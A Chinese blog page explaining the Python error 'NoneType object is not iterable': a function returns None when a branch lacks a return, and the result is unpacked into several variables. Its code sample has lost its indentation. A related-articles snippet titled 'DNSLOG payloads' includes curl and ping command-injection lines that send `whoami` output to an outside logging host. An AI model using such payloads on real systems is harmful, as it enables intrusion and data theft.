参考链接:http://blog.csdn.net/dataspark/article/details/9953225

【解析】

这个错误提示一般发生在将None赋给多个值时。

【案例】

定义了如下的函数

def test():
if value == 1:
a = b = 1
return a,b value = 0
a,b = test()

执行这段测试程序会报错:"TypeError: 'NoneType' object is not iterable"

这里是没有考虑到else的情况,在if条件不满足时,函数默认返回None。

调用时,将None赋给 a,b

等价于 a,b = None

就出现了这样的错误提示。

【结论】

1. 将None赋给多个值时,会出现提示:TypeError: 'NoneType' object is not iterable

2. 函数返回值一定要考虑到条件分支的覆盖

3. 在没有return语句时,python默认会返回None

Python问题:'Nonetype' object is not iterable的更多相关文章

  1. python"TypeError: 'NoneType' object is not iterable"错误解析

    尊重原创博主,原文链接:https://blog.csdn.net/dataspark/article/details/9953225 [解析] 一般是函数返回值为None,并被赋给了多个变量. 实例 ...

  2. python TypeError: 'NoneType' object is not iterable

    list(set(map(lambda tp_id : tp_id if not ('#' in tp_id) and len(tp_id.strip().replace('\n', '')) > ...

  3. python报错Nonetype object is not iterable

    https://www.cnblogs.com/zhaijiahui/p/8391701.html 参考链接:http://blog.csdn.net/dataspark/article/detail ...

  4. 'NoneType' object is not iterable

    "TypeError: 'NoneType' object is not iterable" 一般是返回值为None同时赋值给了多个变量

  5. python pip 'nonetype' object has no attribute 'bytes'

    python pip 'nonetype' object has no attribute 'bytes' 更新 pip for Windows : python -m pip install -U ...

  6. Python : TypeError: 'int' object is not iterable

    用循环依次对list中的每个名字打印出 Hello, xxx! -------------------------------------------------------- L = ['Bart' ...

  7. python 错误:"'NoneType' object has no attribute 'execute'"

    这种原因常常是数据库链接产生的错误,检查连接参数时候齐全,cursor是否获取到了.

  8. append导致TypeError: 'NoneType' object is not iterable

    a=[1,2,3] a.append(4) a Out[4]: [1, 2, 3, 4] a=a.append(5) print(a) None a =[1,2,3] print(a.append(4 ...

  9. python提示AttributeError: 'NoneType' object has no attribute 'append'【转发】

    在写python脚本时遇到AttributeError: 'NoneType' object has no attribute 'append' a=[] b=[1,2,3,4] a = a.appe ...

随机推荐

  1. Ubuntu下使用sublime text进行py开发

    放弃了,半天弄不出一个方便的开放环境,还是现成的iDE方便 下载方法 https://www.sublimetext.com/docs/3/linux_repositories.html 首先安装Pa ...

  2. POJ 3713 Transferring Sylla (三联通分量)

    Transferring Sylla Time Limit: 5000MS   Memory Limit: 65536K Total Submissions: 3533   Accepted: 988 ...

  3. mysql中using

    select * from ( SELECT u.utm_source ,count(DISTINCT u.mobile) as new_user -- 登记用户 FROM 表名 u WHERE u. ...

  4. 有时候eclipse 导入maven项目 启动的时候回出现这样一个问题

    严重: A child container failed during start java.util.concurrent.ExecutionException: org.apache.catali ...

  5. Hbase 1.3.0 Rsgroup

    HBase RSGroup Git环境window环境下,警用crlf自动转换git config --global core.autocrlf false protobuf环境yum install ...

  6. Windows-kms

    系统下载 Windows 长期服务版 Windows 10 Enterprise LTSC 2019 (x64) - DVD (Chinese-Simplified) 文件名 cn_windows_1 ...

  7. mysql错误汇集

    [Err] 1055 - Expression #1 of ORDER BY clause is not in GROUP BY clause and contains nonaggregated.. ...

  8. DNSLOG的Payload

    命令执行处 linux curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io windows ...

  9. MySQL备份工具之mysqldump使用

    MySQL备份工具之mysqldump使用说明 一.备份分类 根据能否停用数据库,将备份类型分为: 1. 冷备:数据库服务停止后备份 2. 温备:只能对数据库进行读操作,不能进行写操作 3. 热备:在 ...

  10. PHP7 学习笔记(十一)使用phpstudy快速配置一个虚拟主机

    说明:为了windows本地开发php方便,这里推荐使用PHP集成环境phpstudy. 目的:使用域名访问项目(tinywan.test) 1.官网:http://www.phpstudy.net ...